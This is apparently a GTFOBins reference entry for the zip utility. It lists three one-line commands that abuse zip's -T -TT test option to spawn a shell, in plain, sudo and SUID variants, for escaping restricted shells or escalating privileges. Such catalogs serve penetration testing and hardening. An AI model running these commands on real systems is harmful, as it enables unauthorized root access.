GTFOBins.github.io/_gtfobins/zip.md
2018-08-19 11:32:48 +01:00

373 B

functions
execute-interactive sudo-enabled suid-limited
code
TF=$(mktemp -u) zip $TF /etc/hosts -T -TT 'sh #' rm $TF
code
TF=$(mktemp -u) sudo zip $TF /etc/hosts -T -TT 'sh #' sudo rm $TF
code
TF=$(mktemp -u) ./zip $TF /etc/hosts -T -TT 'sh #' sudo rm $TF